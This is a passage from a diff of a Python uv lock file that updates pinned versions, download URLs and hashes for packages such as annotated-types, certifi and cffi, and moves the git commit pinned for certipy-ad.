">=3.10, <4.0" [options] -exclude-newer = "2026-08-01T20:50:46.878646981Z" +exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. exclude-newer-span = "P1D" [[package]] @@ -74,11 +74,11 @@ wheels = [ [[package]] name = "annotated-types" -version = "0.7.0" +version = "0.8.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +sdist = { url = "https://files.pythonhosted.org/packages/5f/56/a8120250d128bed162cd73c76d45f6ef9991f3e068f62a8ee060afa3104a/annotated_types-0.8.0.tar.gz", hash = "sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7", size = 15893, upload-time = "2026-07-23T20:16:13.995Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, + { url = "https://files.pythonhosted.org/packages/99/91/8acff4f5e50511b911bbccb72b8628a49c68ce14148cd9f6431094859a90/annotated_types-0.8.0-py3-none-any.whl", hash = "sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0", size = 13427, upload-time = "2026-07-23T20:16:12.938Z" }, ] [[package]] @@ -361,11 +361,11 @@ wheels = [ [[package]] name = "certifi" -version = "2026.6.17" +version = "2026.7.22" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/c9/c7/424b75da314c1045981bd9777432fad05a9e0c69daa4ed7e308bbaffe405/certifi-2026.6.17.tar.gz", hash = "sha256:024c88eeec92ca068db80f02b8b07c9cef7b9fe261d1d535abfd5abd6f6af432", size = 134594, upload-time = "2026-06-17T10:31:07.894Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a3/c2/24167ea9858356b47a87a50d39908bfdb72ceeefe0041586e704e5376b3a/certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55", size = 138112, upload-time = "2026-07-22T03:35:12.644Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ef/2f/c5464532e965badff2f4c4c1a3a83f5697f0d7c407ed0cda44aaa99bb451/certifi-2026.6.17-py3-none-any.whl", hash = "sha256:2227dcbaafe0d2f59279d1762ddddc37783ed4354594f194ffc31d20f41fc3db", size = 133289, upload-time = "2026-06-17T10:31:06.348Z" }, + { url = "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775", size = 136983, upload-time = "2026-07-22T03:35:11.276Z" }, ] [[package]] @@ -388,7 +388,7 @@ wheels = [ [[package]] name = "certipy-ad" version = "5.1.0" -source = { git = "https://github.com/Pennyw0rth/Certipy#2fa586dcfce5c90e7847be10586ae26f11741210" } +source = { git = "https://github.com/Pennyw0rth/Certipy#069e03113095aa02772aa3d8debea90654933fe4" } dependencies = [ { name = "argcomplete" }, { name = "asn1crypto" }, @@ -405,112 +405,112 @@ dependencies = [ [[package]] name = "cffi" -version = "2.1.0" +version = "2.1.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "pycparser", marker = "implementation_name != 'PyPy'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/57/5f/ff100cae70ebe9d8df1c01a00e510e45d9adb5c1fdda84791b199141de97/cffi-2.1.0.tar.gz", hash = "sha256:efc1cdd798b1aaf39b4610bba7aad28c9bea9b910f25c784ccf9ec1fa719d1f9", size = 531036, upload-time = "2026-07-06T21:34:30.382Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/c0/e9/6d7724983b3d5a0908dbf74f64038ade77c18646ff6636ec7894fd392ce1/cffi-2.1.0-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:b65f590ef2a44640f9a05dbb548a429b4ade77913ce683ac8b1480777658a6c0", size = 183837, upload-time = "2026-07-06T21:32:09.655Z" }, - { url = "https://files.pythonhosted.org/packages/69/aa/24580a278de21fd7322635556334d9b535f1cbc00b0a3919447cdf464c65/cffi-2.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:164bff1657b2a74f0b6d54e11c9b375bc97b931f2ca9c43fcf875838da1570dd", size = 184226, upload-time = "2026-07-06T21:32:11.196Z" }, - { url = "https://files.pythonhosted.org/packages/88/a9/02cae418ec4beb282ace11958d9d4737793439d561fadc7e6d56f2e2b354/cffi-2.1.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:c941bb58d5a6e1c3892d86e42927ed6c180302f07e6d395d08c416e594b98b46", size = 211107, upload-time = "2026-07-06T21:32:12.328Z" }, - { url = "https://files.pythonhosted.org/packages/3b/30/c806937ed5e4c2c7ac30d9d6b76b5dc57ff8b75d83800d9bb11a8253cf2a/cffi-2.1.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a016194dbe13d14ee9556e734b772d8d67b947092b268d757fd4290e3ba2dfc2", size = 218733, upload-time = "2026-07-06T21:32:13.67Z" }, - { url = "https://files.pythonhosted.org/packages/f9/cf/398272b8bbfd58aa314fda5a7f1cdbb26d1d78ae324a11211521315dd1f0/cffi-2.1.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:03e9810d18c646077e501f661b682fbf5dee4676048527ca3cffe66faa9960dd", size = 205543, upload-time = "2026-07-06T21:32:15.148Z" }, - { url = "https://files.pythonhosted.org/packages/45/ca/f91641185cdd90c36d317a9dc7f85e88ef8682d8b300977baff5e23c35d8/cffi-2.1.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:19c54ac121cad98450b4896fa9a43ee0180d57bc4bc911a33db6cab1efab6cd3", size = 205460, upload-time = "2026-07-06T21:32:16.479Z" }, - { url = "https://files.pythonhosted.org/packages/38/66/04781a77b411f0bb5b234d62c1814754ab75ebe455ccff1b08e8d7aae98f/cffi-2.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4d433a51f1870e43a13b6732f92aaf540ff77c2015097c78556f75a2d6c030e0", size = 218760, upload-time = "2026-07-06T21:32:17.98Z" }, - { url = "https://files.pythonhosted.org/packages/d0/9a/bb1d5ed9c3fcae158e9f6391bf309c95d98c2ac37ed56573228471d0af5e/cffi-2.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d7f118b5adbfdfead90c25822690b02bc8074fba949bb7858bec4ebd55adb43", size = 221230, upload-time = "2026-07-06T21:32:19.407Z" }, - { url = "https://files.pythonhosted.org/packages/41/aa/3c1409cdd26094efacd1c36c66e0a6eb9d4296e4fd4f9901b8b2042f4323/cffi-2.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:c5f5df567f6eb216de69be06ce55c8b714090fae02b18a3b40da8163b8c5fa9c", size = 213524, upload-time = "2026-07-06T21:32:20.828Z" }, - { url = "https://files.pythonhosted.org/packages/fa/75/74dfb7c3fc6ebbd408038476bd4c1d7e925c62614e7b9c534ecc34218288/cffi-2.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:11b3fb55f4f8ad92274ed26705f65d8f91457de71f5380061eb6d125a768fecd", size = 220341, upload-time = "2026-07-06T21:32:21.9Z" }, - { url = "https://files.pythonhosted.org/packages/70/b6/9003c33a3e7d2c1306f5962e646457dcfe5a8cd8fce6bbe02d7af25db783/cffi-2.1.0-cp310-cp310-win32.whl", hash = "sha256:9d72af0cf10a76a600a9690078fe31c63b9588c8e86bf9fd353f713c84b5db0f", size = 174578, upload-time = "2026-07-06T21:32:23.073Z" }, - { url = "https://files.pythonhosted.org/packages/8a/26/710688310447531c7a22f857c7f79d9855ec18b03e04494ced723fb37e2f/cffi-2.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:fb62edb5bb52cca65fab91a63afa7561607120d26090a7e8fda6fb9f064726da", size = 185071, upload-time = "2026-07-06T21:32:24.671Z" }, - { url = "https://files.pythonhosted.org/packages/d3/67/85c89a59ba36a671e79638f44d466749f08179266a57e4f2ffdf92174072/cffi-2.1.0-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:02cb7ff33ded4f1532476731f89ede53e2e488a8e6205515a82144246ffa7dcc", size = 183845, upload-time = "2026-07-06T21:32:26.32Z" }, - { url = "https://files.pythonhosted.org/packages/ea/dd/e3b0baa2d3d6a857ac72b7efbf18e32e487c9cdafcc13049ad765495b15e/cffi-2.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f5bce581e6b8c235e566a14768a943b172ada3ed73537bb0c0be1edee312d4e7", size = 184186, upload-time = "2026-07-06T21:32:28.025Z" }, - { url = "https://files.pythonhosted.org/packages/65/68/9f3ef890cf3c6ab97bd531c5677f67613d302165d16f8142b2811782a614/cffi-2.1.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:30b65779d598c370374fefabf138d456fd6f3216bfa7bedfab1ba82025b0cd93", size = 211892, upload-time = "2026-07-06T21:32:29.565Z" }, - { url = "https://files.pythonhosted.org/packages/22/d7/1a74539db16d8bfd839ff1515948948efbb162e574650fd3d846896eea95/cffi-2.1.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:88023dfe18799507b73f1dbb0d14326a17465de1bc9c9c7655c22845e9ddc3a2", size = 218793, upload-time = "2026-07-06T21:32:30.951Z" }, - { url = "https://files.pythonhosted.org/packages/ec/d1/9a5b7169499e8e8d8e636de70b97ac7c9447104d2ff1a2cd94790cea5162/cffi-2.1.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:0a96b74cda968eebbad56d973efe5098974f0a9fb323865bf99ea1fd24e3e64c", size = 205737, upload-time = "2026-07-06T21:32:32.216Z" }, - { url = "https://files.pythonhosted.org/packages/ba/b0/e131a9c41f10607926278453d9596163594fe1c4ebc46efe3b5e5b34eb84/cffi-2.1.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a5781494d4d400a3f47f8f1da94b324f6e6b440a53387774002890a2a2f4b50f", size = 204909, upload-time = "2026-07-06T21:32:33.655Z" }, - { url = "https://files.pythonhosted.org/packages/fb/d2/4398416cd699b35167947c6e22aca52c47e69ad5695073c9f1f2c52e04aa/cffi-2.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aa7a1b53a2a4452ada2d1b5dade9960b2522f1e61293a811a077439e39029565", size = 217883, upload-time = "2026-07-06T21:32:35.173Z" }, - { url = "https://files.pythonhosted.org/packages/a2/a5/d4fe77b589e5e82d43ebc809bf2e6474afe8e48e32ea050b9357645b6471/cffi-2.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:9d8272c0e483b024e1b9ad029821470ed8ec65631dbd90217469da0e7cd89f1c", size = 221251, upload-time = "2026-07-06T21:32:36.527Z" }, - { url = "https://files.pythonhosted.org/packages/22/f0/a2fc43084c0433caf7f461bccc013e28f848d04ee1c5ed7fce71423cf4d9/cffi-2.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7762faa47e8ff7eb80bd261d9a7d8eea2d8baa69de5e95b70c1f338bbe712f02", size = 214250, upload-time = "2026-07-06T21:32:37.852Z" }, - { url = "https://files.pythonhosted.org/packages/04/8c/b925975448cf20634a9fbd5efceb807219db452653648d2897c0989cab2d/cffi-2.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:89095c1968b4ba8285840e131bf2891b09ae137fe2146905acae0354fbce1b5e", size = 219441, upload-time = "2026-07-06T21:32:39.146Z" }, - { url = "https://files.pythonhosted.org/packages/eb/da/5c4918a2d61d86fa927d716cb3d8e4626ef8dc8f605a599d32f33897f59a/cffi-2.1.0-cp311-cp311-win32.whl", hash = "sha256:64c753a0f87a256020004f37a1c8c02c480e725f910f0b2a0f3f07debd1b2479", size = 174496, upload-time = "2026-07-06T21:32:40.467Z" }, - { url = "https://files.pythonhosted.org/packages/f9/c8/6c2de1d55cf35ef8b92885d5ef280790f0fb9634d87ea1cc315176aecd61/cffi-2.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:4f26194e3d95e06501b942642855aed4f953d55e95d7d01b7c4483db3ecff458", size = 185113, upload-time = "2026-07-06T21:32:41.761Z" }, - { url = "https://files.pythonhosted.org/packages/9e/4e/e8d7cb5783f1841a3c8fb3a7735838d7484d08ec08c9f984b14cac1ac0e9/cffi-2.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:35aaea0c7ee0e58a5cd8c2fd1a48fdf7ece0d2699b7ecdda08194e9ce5dd9b3d", size = 179927, upload-time = "2026-07-06T21:32:42.961Z" }, - { url = "https://files.pythonhosted.org/packages/1e/85/990925db5df586ec90beb97529c853497e7f85ba0234830447faf41c3057/cffi-2.1.0-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:df2b82571a1b30f58a87bf4e5a9e78d2b1eff6c6ce8fd3aa3757221f93f0863f", size = 184829, upload-time = "2026-07-06T21:32:44.324Z" }, - { url = "https://files.pythonhosted.org/packages/4b/92/e7bb136ad6b5352603732cf907ef862ca103f20f2031c1735a46300c20c9/cffi-2.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:78474632761faa0fb96f30b1c928c84ebcf68713cbb80d15bab09dfe61640fde", size = 184728, upload-time = "2026-07-06T21:32:45.683Z" }, - { url = "https://files.pythonhosted.org/packages/c3/c0/d1ec30ffb370f748f2fb54425972bfef9871e0132e82fb589c46b6676049/cffi-2.1.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:5972433ad71a9e46516584ef60a0fda12d9dc459938d1539c3ddecf9bdc1368d", size = 214815, upload-time = "2026-07-06T21:32:48.557Z" }, - { url = "https://files.pythonhosted.org/packages/1b/dc/5620cf930688be01f2d673804291de757a934c90b946dbdc3d84130c2ea4/cffi-2.1.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b6422532152adf4e59b110cb2808cee7a033800952f5c036b4af047ee43199e7", size = 222429, upload-time = "2026-07-06T21:32:49.848Z" }, - { url = "https://files.pythonhosted.org/packages/4b/a4/77b53abbf7a1e0beb9637edbef2a94d15f9c822f591e85d439ffd91519a6/cffi-2.1.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:46b1c8db8f6122420f32d02fffb924c2fe9bc772d228c7c711748fff56aabb2b", size = 210315, upload-time = "2026-07-06T21:32:51.221Z" }, - { url = "https://files.pythonhosted.org/packages/58/0c/f528df19cc94b675087324d4760d9e6d5bfae97d6217aa4fac43de4f5fcc/cffi-2.1.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9fafc5aa2e2a39aaf7f8cc0c1f044a9b07fca12e558dca53a3cc5c654ad67a7", size = 208859, upload-time = "2026-07-06T21:32:52.512Z" }, - { url = "https://files.pythonhosted.org/packages/62/f2/c9522a81c32132799a1972c39f5c5f8b4c8b9f00488a23feaa6c06f07741/cffi-2.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1e9f50d192a3e525b15a75ab5114e442d83d657b7ec29182a991bc9a88fd3a66", size = 221844, upload-time = "2026-07-06T21:32:53.704Z" }, - { url = "https://files.pythonhosted.org/packages/6e/28/bd53988b9833e8f8ad539d26f4c07a6b3f6bcb1e9e02e7ca038250b3428d/cffi-2.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:98fff996e983a36d3aa2eca83af40c5821202e7e6f32d13ae94e3d2286f10cfe", size = 225287, upload-time = "2026-07-06T21:32:54.907Z" }, - { url = "https://files.pythonhosted.org/packages/79/99/0d0fd37f055224085f42bbb2c022d002e17dde4a97972822327b07d84101/cffi-2.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:379de10ce1ba048b1448599d1b37b24caee16309d1ac98d3982fc997f768700b", size = 223681, upload-time = "2026-07-06T21:32:56.329Z" }, - { url = "https://files.pythonhosted.org/packages/b0/80/c138990aa2a70b1a269f6e06348729836d733d6f970867943f61d367f8cc/cffi-2.1.0-cp312-cp312-win32.whl", hash = "sha256:9b8f0f26ca4e7513c534d351eca551947d053fac438f2a04ac96d882909b0d3a", size = 175269, upload-time = "2026-07-06T21:32:57.777Z" }, - { url = "https://files.pythonhosted.org/packages/a8/eb/f636456ff21a83fc13c032b58cc5dde061691546ac79efa284b2989b7982/cffi-2.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:c97f080ea627e2863524c5af3836e2270b5f5dfff1f104392b959f8df0c5d384", size = 185881, upload-time = "2026-07-06T21:32:59.253Z" }, - { url = "https://files.pythonhosted.org/packages/dd/2c/400ea43e721727dca8a65c4521390e9196757caba4a45643acb2b63271b8/cffi-2.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:6d194185eabd279f1c05ebe3504265ddfc5ad2b58d0714f7db9f01da592e9eb6", size = 180088, upload-time = "2026-07-06T21:33:02.278Z" }, - { url = "https://files.pythonhosted.org/packages/96/88/a996879e2eeccb815f6e3a5967b12a308257412acec882039d386bd2aa7b/cffi-2.1.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:10537b1df4967ca26d21e5072d7d54188354483b91dc75058968d3f0cf13fbda", size = 194331, upload-time = "2026-07-06T21:33:03.697Z" }, - { url = "https://files.pythonhosted.org/packages/58/85/7ae00d5c8dd6266f4e944c3db630f3c5c9a98b61d469c714d848b1d8138a/cffi-2.1.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:a95b05f9baf29b91171b3a8bd2020b028835243e7b0ff6bb23e2a3c228518b1b", size = 196966, upload-time = "2026-07-06T21:33:05.353Z" }, - { url = "https://files.pythonhosted.org/packages/8c/e9/45c3a76ad8d43ad9261f4c95436da61128d3ca545d72b9612c0ab5be0b1c/cffi-2.1.0-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:15faec4adfff450819f3aee0e2e02c812de6edb88203aa58807955db2003472a", size = 184795, upload-time = "2026-07-06T21:33:06.699Z" }, - { url = "https://files.pythonhosted.org/packages/84/4c/82f132cb4418ee6d953d982b19191e87e2a6372c8a4ce36e50b69d6ade4a/cffi-2.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:716ff8ec22f20b4d988b12884086bcef0fc99737043e503f7a3935a6be99b1ea", size = 184746, upload-time = "2026-07-06T21:33:08.071Z" }, - { url = "https://files.pythonhosted.org/packages/a0/1c/4ed5a0e5bdca6cbc275556de3328dd1b76fd0c11cc13c88fe66d1d8715f2/cffi-2.1.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:63960549e4f8dc41e31accb97b975abaecfc44c03e396c093a6436763c2ea7db", size = 214747, upload-time = "2026-07-06T21:33:09.671Z" }, - { url = "https://files.pythonhosted.org/packages/3a/a6/e879bb68cc23a2bc9ba8f4b7d8019f0c2694bad2ab6c4a3701d429439f58/cffi-2.1.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ff067a8d8d880e7809e4ac88eb009bb848870115317b306666502ccad30b147f", size = 222392, upload-time = "2026-07-06T21:33:10.896Z" }, - { url = "https://files.pythonhosted.org/packages/88/f6/01890cfd63c08f8eb96a8319b0443690197d240a8bd6346048cf7bde9190/cffi-2.1.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:3b926723c13eba9f81d2ef3820d63aeceec3b2d4639906047bf675cb8a7a500d", size = 210285, upload-time = "2026-07-06T21:33:12.251Z" }, - { url = "https://files.pythonhosted.org/packages/a6/cf/2b684132056f438567b61e19d690dd31cd0921ace051e0a458be6074369e/cffi-2.1.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:47ff3a8bfd8cb9da1af7524b965127095055654c177fcfc7578debcb015eecd0", size = 208801, upload-time = "2026-07-06T21:33:13.617Z" }, - { url = "https://files.pythonhosted.org/packages/6f/08/f2e7d62c460faae0926f2d6e423694aa409ced3bc1fe2927a0a6e5f05416/cffi-2.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:799416bae98336e400981ff6e532d67d5c709cfb30afb79865a1315f94b0e224", size = 221808, upload-time = "2026-07-06T21:33:15.466Z" }, - { url = "https://files.pythonhosted.org/packages/38/37/04f54b8e63a02f3d908332c9effbf8c366167c6f733ed8a3d4f79b7e2a1e/cffi-2.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:961be50688f7fba2fa65f63712d3b9b341a22311f5253460ce933f52f0de1c8c", size = 225241, upload-time = "2026-07-06T21:33:16.869Z" }, - { url = "https://files.pythonhosted.org/packages/a9/d6/c72eecca433cd3e681c65ed313ab4835d9d4a379704d0f628a6a05f51c2e/cffi-2.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:bf5c6cf48238b0eb4c086978c492ad1cbc22373fc5b2d7353b3a598ce6db887a", size = 223588, upload-time = "2026-07-06T21:33:18.239Z" }, - { url = "https://files.pythonhosted.org/packages/c6/4b/e706f67279140f92939da3475ad610df18bfd52d50f14953a8e5fede71d5/cffi-2.1.0-cp313-cp313-win32.whl", hash = "sha256:db3eb7d46527159a878ec3460e9d40615bc25ba337d477db681aea6e4f05c5d2", size = 175248, upload-time = "2026-07-06T21:33:19.799Z" }, - { url = "https://files.pythonhosted.org/packages/5a/47/59eb7975cb0e4ef0afa764ea945b29a5bb4537a9f771cb7d6c8a5dd74c95/cffi-2.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:8e74a6135550c4748af665b1b1118b6aab33b1fc6a16f9aff630af107c3b4512", size = 185717, upload-time = "2026-07-06T21:33:21.47Z" }, - { url = "https://files.pythonhosted.org/packages/5a/af/34fee85c48f8d94efc8597bc09470c9dd274c145f1c12e0fbc6ab6d38d74/cffi-2.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:2282cd5e38aa8accd03e99d1256af8411c84cdbee6a89d841b563fdbd1f3e50f", size = 180114, upload-time = "2026-07-06T21:33:22.515Z" }, - { url = "https://files.pythonhosted.org/packages/d8/f0/81478e482afa03f6d18dc8f2afb5edc45b3080853b634b5ed91961be0998/cffi-2.1.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:d2117334c3af3bdcb9a88522b844a2bdb5efdc4f71c6c822df55486ae1c3347a", size = 194142, upload-time = "2026-07-06T21:33:23.657Z" }, - { url = "https://files.pythonhosted.org/packages/7d/95/8de304305cd9204974b0ca051b86d307cafca13aa575a0ef1b44d92c0d8c/cffi-2.1.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:702c436735fbe99d59ada02a1f65cfc0d31c0ee8b7290912f8fbc5cd1e4b16c3", size = 196819, upload-time = "2026-07-06T21:33:25.007Z" }, - { url = "https://files.pythonhosted.org/packages/20/71/7c8372d30e42415602ed9f268f7cfd66f1b855fed881ecd168bcb45dbc0b/cffi-2.1.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:1ff3456eab0d889592d1936d6125bbfbc7ae4d3354a700f8bd80450a66445d4d", size = 184965, upload-time = "2026-07-06T21:33:26.605Z" }, - { url = "https://files.pythonhosted.org/packages/d6/5c/584e626835f0375c928176c04137c96927165cb8733cdb3150ec04e5ee5e/cffi-2.1.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c4165821e131d6d4ca444347c2b694e2311bcfa3fe5a861cc72968f28867beac", size = 184952, upload-time = "2026-07-06T21:33:27.823Z" }, - { url = "https://files.pythonhosted.org/packages/2e/d2/065fcae1c73979fac8e054462478d0ff8a29c40cdc2ed7ea5676a061df53/cffi-2.1.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:276f20fffd7b396e12516ba8edf9509210ac248cbbc5acbc39cd512f9f59ebe6", size = 222353, upload-time = "2026-07-06T21:33:29.178Z" }, - { url = "https://files.pythonhosted.org/packages/ed/a5/e8bbb1ce5b3ac2f53ad6a10bde44318a5a8d99d4f4a000d44a6e39aeb3e4/cffi-2.1.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7d5980a3433d4b71a5e120f9dd551403d7824e31e2e67124fe2769c404c06913", size = 210051, upload-time = "2026-07-06T21:33:30.534Z" }, - { url = "https://files.pythonhosted.org/packages/28/ed/c127d3ac36e899c965e3361357c3befacd6578c03f40125183e41c3b219e/cffi-2.1.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6ca4919c6e4f89aa99c42510b42cf54596892c00b3f9077f6bdd1505e24b9c8d", size = 208630, upload-time = "2026-07-06T21:33:31.753Z" }, - { url = "https://files.pythonhosted.org/packages/cc/d7/97d3136f81db489ec8d1d67748c110d6c994268fd7528014aa9f2b085e4e/cffi-2.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d53d10f7da99ae46f7373b9150393e9c5eab9b224909982b43832668de4779f5", size = 221593, upload-time = "2026-07-06T21:33:33.044Z" }, - { url = "https://files.pythonhosted.org/packages/d3/27/93195977168ee63aed233a1a0993a2178798654d1f4bddcdd321d6fd3b21/cffi-2.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c351efb95e832a853a29361675f33a7ce53de1a109cd73fd47af0712213aa4ce", size = 225146, upload-time = "2026-07-06T21:33:34.224Z" }, - { url = "https://files.pythonhosted.org/packages/b3/c1/6dbd291ee2ae5a50a034aa057207081f545923bbf15dad4511e985aafff5/cffi-2.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:dbf7c7a88e2bac086f06d14577332760bdeecc42bdec8ac4077f6260557d9326", size = 223240, upload-time = "2026-07-06T21:33:35.57Z" }, - { url = "https://files.pythonhosted.org/packages/0f/6f/ade5ce9863a57992a6ea3d0d10d7e29b8749fc127204b3d493d667b2815f/cffi-2.1.0-cp314-cp314-win32.whl", hash = "sha256:1854b724d00f6654c742097d5387569021be12d3a0f770eae1df8f8acfcc6acd", size = 177723, upload-time = "2026-07-06T21:33:51.626Z" }, - { url = "https://files.pythonhosted.org/packages/41/de/92b9eeed4ae4a21d6fd9b2a2c8505cbed573299902ea73981cc13f7ff62c/cffi-2.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:1b96bfe2c4bd825681b7d311ad6d9b7280a091f43e8f63da5729638083cd3bfb", size = 187937, upload-time = "2026-07-06T21:33:53.403Z" }, - { url = "https://files.pythonhosted.org/packages/2e/1a/cc6ae6c2913a03aab8898eee57963cf1035b8df5872ed8b9115fcc7e2be8/cffi-2.1.0-cp314-cp314-win_arm64.whl", hash = "sha256:7d28dff1db6764108bc30788d85d61c876beff416d9a49cb9dd7c5a9f34f5804", size = 183001, upload-time = "2026-07-06T21:33:54.74Z" }, - { url = "https://files.pythonhosted.org/packages/14/f0/134c00ce0779ec86dea2aa1aac69339c2741a8045072676763512363a2ea/cffi-2.1.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7ea6b3e2c4250ff1de21c630fe72d0f63eb95c2c32ffbf64a358cf4a8836d714", size = 188538, upload-time = "2026-07-06T21:33:36.792Z" }, - { url = "https://files.pythonhosted.org/packages/50/d8/3b86aba791cb610d24e8a3e1b2cd529e71fa15096b04e4d4e360049d4a4c/cffi-2.1.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6af371f3767faeffc6ac1ef57cdfd25844403e9d3f476c5537caee499de96376", size = 188230, upload-time = "2026-07-06T21:33:38.011Z" }, - { url = "https://files.pythonhosted.org/packages/14/d0/117dcd9209255ad8571fbc8c92ef32593a1d294dcec91ddc4e4db50606f2/cffi-2.1.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb4e8997a49aa2c08a3e43c9045d224448b8941d88e7ac163c7d383e560cbf98", size = 223899, upload-time = "2026-07-06T21:33:39.514Z" }, - { url = "https://files.pythonhosted.org/packages/b6/3d/f20f8b886b254e3ad10e15cd4186d3aed49f3e6a35ab37aab9f8f25f7c03/cffi-2.1.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:bf01d8c84cbea96b944c73b22182e6c7c432b3475632b8111dbfdc95ddad6e13", size = 211652, upload-time = "2026-07-06T21:33:40.851Z" }, - { url = "https://files.pythonhosted.org/packages/28/3b/fad54de07260b93ddeef4b96d0131d57ea900675df1d410ae1deee52d7a6/cffi-2.1.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = 